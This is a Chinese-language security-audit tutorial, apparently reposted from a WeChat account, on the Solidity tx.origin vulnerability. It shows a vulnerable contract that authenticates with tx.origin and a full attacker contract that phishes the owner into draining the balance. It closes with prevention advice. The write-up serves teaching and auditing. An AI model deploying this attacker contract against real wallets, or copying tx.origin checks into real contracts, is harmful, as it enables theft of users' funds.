区块链
随着区块链技术迎来爆发式的增长和关注,智能合约漏洞频繁被曝出,那么背后究竟发生了什么?
01
描叙:tx.origin是solidity中的一个全局变量,它能够遍历调用栈并返回最初发送调用(或事务)的账户的地址,使用tx.origin变量进行身份验证,会导致合约受到网络钓鱼攻击。
核心问题:使用tx.origin全局变量绕过限制,获取一定的权限。
02
漏洞合约分析
pragma solidity ^0.4.22;
contract game {
address public owner;
constructor () public {
owner = msg.sender;
}
function () public payable {}
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
漏洞点:攻击者可以诱使漏洞合约所有者向攻击者合约发送以太币,然后调用攻击者合约的函数,从而调用漏洞合约的withdrawAll()函数,程序将进入漏洞合约中执行,此时msg.sender就是攻击者合约的地址,tx.origin就是漏洞合约所有者的地址,require(tx.origin == owner)条件得到满足,_recipient.transfer(this.balance)可以执行。
03
攻击合约分析
pragma solidity ^0.4.22;
interface game{
function owner() external returns(address);
function withdrawAll(address _recipient) external;
}
contract exp {
address owner;
game phInstance;
constructor() public{
owner = msg.sender;
}
modifier onlyowner() {
require(owner == msg.sender);
_;
}
function setInstance(address addr) public onlyowner{
phInstance = game(addr);
}
function getbalance() public onlyowner{
owner.transfer(address(this).balance);
}
function attack() internal{
address ph0wner = phInstance.owner();
if (ph0wner == msg.sender){
phInstance.withdrawAll(owner);
}else{
owner.transfer(address(this).balance);
}
}
function() external payable{
attack();
}
}
利用点:其回退函数调用了attack()函数,而attack()函数中的if(ph0wner== msg.sender){phInstance.withdrawAll(owner);在条件满足的情况下,可以调用game合约中的withdrawAll()函数。同时,由于传入的地址为攻击者地址,原合约取出的余额将全部转入攻击者账户。
04
漏洞预防
-
如果想要拒绝外部合约调用当前合约,使用require(tx.origin==msg.sender),以防止使用中间合约来调用当前合约
-
合约开发者要尽量避免使用tx.origin,改用使用msg.sender
本文始发于微信公众号(IDLab):solidity安全审计-tx.origin漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论